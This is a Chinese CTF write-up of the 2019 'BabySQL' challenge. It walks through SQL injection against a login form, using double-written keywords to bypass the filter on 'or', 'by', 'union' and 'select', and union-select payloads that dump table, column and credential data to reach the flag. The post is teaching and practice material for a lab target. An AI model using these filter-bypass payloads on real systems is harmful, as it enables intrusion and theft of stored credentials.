[极客大挑战 2019]BabySQL--详细解析

devtools/2024/11/27 4:20:11/

信息搜集

进入界面:
在这里插入图片描述
输入用户名为admin,密码随便输一个:
在这里插入图片描述发现是GET传参,有username和password两个传参点。
我们测试一下password点位能不能注入:
在这里插入图片描述
单引号闭合报错,根据报错信息,我们可以判断是单引号闭合。

SQL注入

先order by测试一下字段数:

sql">check.php?username=admin&password=1' order by 3--+

在这里插入图片描述
报错。看报错信息,吞掉了order的or 和by,即过滤了or和by。
使用双写绕过:

sql">check.php?username=admin&password=1' oorrder bbyy 3--+

测试出字段数为3.

顺便用万能密码试试能不能登录:
在这里插入图片描述
接下来按联合注入的流程走:
在这里插入图片描述union 和 select 被过滤。双写绕过:

sql">check.php?username=admin&password=1' uniunionon selselectect 1,2,3--+

在这里插入图片描述找到相应回显位,这里我们利用回显位3:

sql">check.php?username=admin&password=1' uniunionon selselectect 1,2,database()--+ 数据库名为geekcheck.php?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek')--+ 数据表b4bsql,geekusercheck.php?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')--+ 列名id,username,password(selselectect group_concat(username,":",passwoorrd) frfromom b4bsql)--+

在这里插入图片描述
得到flag.

总结

考察的是联合注入,但是增加了过滤。
使用双写绕过。


http://www.ppmy.cn/devtools/137303.html

相关文章

uniapp+vue2重新进入小程序就清除缓存,设备需要重新扫码

代码 app.vue页面 <script>export default {onLaunch: function() {uni.removeStorageSync(equiId)}} </script>

Spring Boot 的 WebClient 实践教程

什么是 WebClient&#xff1f; 在 Spring Boot 中&#xff0c;WebClient 是 Spring WebFlux 提供的一个非阻塞、响应式的 HTTP 客户端&#xff0c;用于与 RESTful 服务或其他 HTTP 服务交互。相比于传统的 RestTemplate&#xff0c;WebClient 更加现代化&#xff0c;具有异步和…

已解决WordPress图片无法显示,免插件实现WordPress上传图片时自动重命名

在我们使用 WordPress 发布文章时&#xff0c;经常都需要添加图片、多媒体什么的。然而&#xff0c;大家都知道 WordPress 是舶来物&#xff0c;对于中文用户来说&#xff0c;我们都会把图片命名为中文的&#xff0c;由于 WordPress 机制的原因&#xff0c;并不能正常的显示图片…

[自动化]获取每次翻页后的页面 URL

from DrissionPage import ChromiumPage page ChromiumPage() page.get(热门项目 - Gitee.com) page.listen.start(gitee.com/explore) for i in range(5): page("relnext").click() res page.listen.wait() print(res.url) 这段代码使用了DrissionPage库中的Chromi…

【代码pycharm】动手学深度学习v2-08 线性回归 + 基础优化算法

课程链接 线性回归的从零开始实现 import random import torch from d2l import torch as d2l# 人造数据集 def synthetic_data(w,b,num_examples):Xtorch.normal(0,1,(num_examples,len(w)))ytorch.matmul(X,w)bytorch.normal(0,0.01,y.shape) # 加入噪声return X,y.reshape…

初学 flutter 环境变量配置

一、jdk&#xff08;jdk11&#xff09; 1&#xff09;配置环境变量 新增&#xff1a;JAVA_HOMEC:\Program Files\Java\jdk-11 //你的jdk目录 在path新增&#xff1a;%JAVA_HOME%\bin2&#xff09;验证是否配置成功&#xff08;cmd运行命令&#xff09; java java -version …

Java 字符串截取详解:常见场景与方法

Java 字符串截取详解&#xff1a;常见场景与方法 在 Java 开发中&#xff0c;截取字符串是一个非常常见的操作&#xff0c;无论是获取文件名还是提取某些特定内容。本文详细介绍了截取字符串最后一位及其他常见截取操作的多种方法&#xff0c;帮助开发者快速上手。 目录 截取…

Linux tcpdump 详解教程

简介 tcpdump 是一款在 Linux 平台上广泛使用的网络抓包工具。它可以捕获整个 TCP/IP 协议族的数据包&#xff0c;并支持对网络层、协议、主机、端口等进行过滤。tcpdump 提供了强大的过滤功能&#xff0c;允许使用 and、or、not 等逻辑语句来筛选数据包&#xff0c;非常适合用…